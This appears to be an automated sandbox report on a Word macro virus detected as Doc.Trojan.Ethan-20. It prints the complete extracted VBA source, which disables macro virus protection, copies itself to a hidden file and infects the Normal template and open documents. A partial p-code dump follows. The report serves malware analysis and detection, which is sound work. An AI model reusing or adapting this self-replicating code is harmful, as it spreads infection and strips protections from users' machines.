MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros that attempt to write their own code to a file named 'c:\Win386.msw'. It also tries to embed its macro code into the Normal template or the active document, potentially for persistence or to spread. The ClamAV detection 'Doc.Trojan.Ethan-20' further supports its malicious nature.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6869 bytes |
SHA-256: aa1364577c192455b29b7ff81be98f89c1a607910542f9366a520c3f2f8f218f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
GoTo MrX_Virus_Def_Init
MrX_Virus_Def_Init:
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\Win386.msw", 6) = "" Then
Open "c:\Win386.msw" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\Win386.msw", 6
End If
If (NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()") _
And (NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "GoTo MrX_Virus_Def_Init") Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf (ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()") _
And (ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "GoTo MrX_Virus_Def_Init") Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\Win386.msw" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If Int((8 * Rnd + 1)) = 5 Then MsgBox "¤ Sorry, but I've InFeCtEd your PC ¤", vbCritical, "Mr. X"
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
' Processing file: /opt/analyzer/scan_staging/95dc4018c61b46a89585c8b2d2a8def4.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3564 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' GoTo MrX_Virus_Def_Init
' Line #2:
' Label MrX_Virus_Def_Init
' Line #3:
' OnError (Resume Next)
' Line #4:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #5:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #6:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' LitDI2 0x0000
' MemStWith ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' MemStWith VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' BoS 0x0000
' EndWith
' Line #7:
' ArgsCall Read 0x0000
' Line #8:
' LitStr 0x000D "c:\Win386.msw"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #9:
' LitStr 0x000D "c:\Win386.msw"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #10:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #11:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #12:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #13:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #14:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #15:
' LitStr 0x000D "c:\Win386.msw"
' LitDI2 0x0006
' ArgsCall SetAttr 0x0002
' Line #16:
' EndIfBlock
' Line #17:
' LineCont 0x0004 18 00 00 00
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' Paren
' LitDI2 0x0002
' LitDI2 0x0001
' LitDI2 0x0001
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.